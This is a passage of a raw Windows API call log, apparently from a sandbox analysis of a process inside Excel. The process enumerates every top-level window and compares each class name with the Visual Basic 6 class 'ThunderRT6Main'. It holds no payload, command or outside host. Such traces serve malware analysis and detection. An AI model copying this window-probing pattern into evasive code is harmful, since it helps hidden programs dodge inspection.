(in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.826] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0103.826] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0103.826] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0103.826] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0103.826] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.826] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.826] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.826] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0103.826] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0103.826] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0103.826] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0103.826] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.826] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.826] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.826] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0103.826] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0103.826] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0103.826] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0103.826] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.826] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.826] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.826] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0103.826] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0103.826] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0103.826] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0103.826] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.826] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.826] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.826] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0103.826] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0103.827] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0103.827] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x102a2 [0103.827] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.827] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.827] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0103.827] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0103.827] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0103.827] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0103.827] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.827] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0103.827] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0103.827] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0103.827] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0103.827] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0103.827] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0103.827] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.827] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0103.827] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0103.827] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0103.827] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0103.827] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.827] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.827] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.827] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0103.827] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0103.827] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0103.827] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0103.827] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.827] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.827] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.827] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0103.827] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0103.827] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0103.827] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0103.827] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.827] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.827] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.827] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0103.828] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0103.828] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0103.828] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0103.828] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.828] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.828] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.828] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0103.828] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0103.828] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0103.828] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0103.828] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0103.828] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0103.828] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.828] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0103.828] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0103.828] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0103.828] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0103.828] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0103.828] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0103.828] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0103.828] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0103.828] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0103.828] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0103.828] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.828] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0103.828] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0103.828] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0103.828] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0103.828] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.828] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.828] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0103.828] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0103.828] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0103.828] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0103.828] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0103.828] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0103.829] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0103.829] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0103.829] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.829] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0103.829] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0103.829] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0103.829] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0103.829] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0103.829] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0103.829] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.829] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0103.829] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0103.829] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0103.829] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0103.829] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.829] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0103.829] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0103.829] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0103.829] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0103.829] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0103.829] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0103.829] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.829] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.829] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0103.829] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0103.829] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0103.829] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0103.829] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0103.829] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0103.829] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.829] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.829] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0103.829] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0103.829] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0103.830] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0103.830] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0103.830] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0103.830] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.830] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.830] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0103.830] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0103.830] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0103.830] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0103.830] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0103.830] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0103.830] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.830] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.830] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0103.830] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0103.830] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0103.830] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0103.830] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0103.830] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0103.830] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.830] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.830] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0103.830] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0103.830] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0103.830] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0103.830] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0103.830] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0103.830] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.830] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.830] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0103.830] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0103.830] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0103.831] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0103.831] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0103.831] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0103.831] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.831] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.831] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0103.831] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0103.831] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0103.831] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0103.831] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0103.831] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0103.831] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.831] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.831] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0103.831] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0103.831] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0103.831] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0103.831] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0103.831] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0103.831] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.831] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.831] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0103.831] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0103.831] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0103.831] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0103.831] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0103.831] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0103.831] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.831] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.831] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0103.831] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0103.831] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0103.832] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0103.832] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0103.832] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0103.832] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.832] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.832] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0103.832] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0103.832] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0103.832] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0103.832] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0103.832] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0103.832] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.832] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.832] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0103.832] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0103.832] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0103.832] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0103.832] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0103.832] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0103.832] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.832] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.832] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0103.832] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0103.832] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0103.832] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0103.832] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0103.832] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0103.832] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.832] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.832] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0103.832] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0103.832] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0103.833] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0103.833] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0103.833] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0103.833] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.833] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.833] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0103.833] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0103.833] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0103.833] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0103.833] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0103.833] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0103.833] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.833] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.833] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0103.833] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0103.833] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0103.833] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0103.833] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0103.833] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0103.833] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.833] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.833] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0103.833] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0103.833] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0103.833] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0103.833] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0103.833] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0103.833] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.833] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.833] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0103.833] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0103.833] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0103.834] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0103.834] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0103.834] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0103.834] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0103.834] lstrcmpA 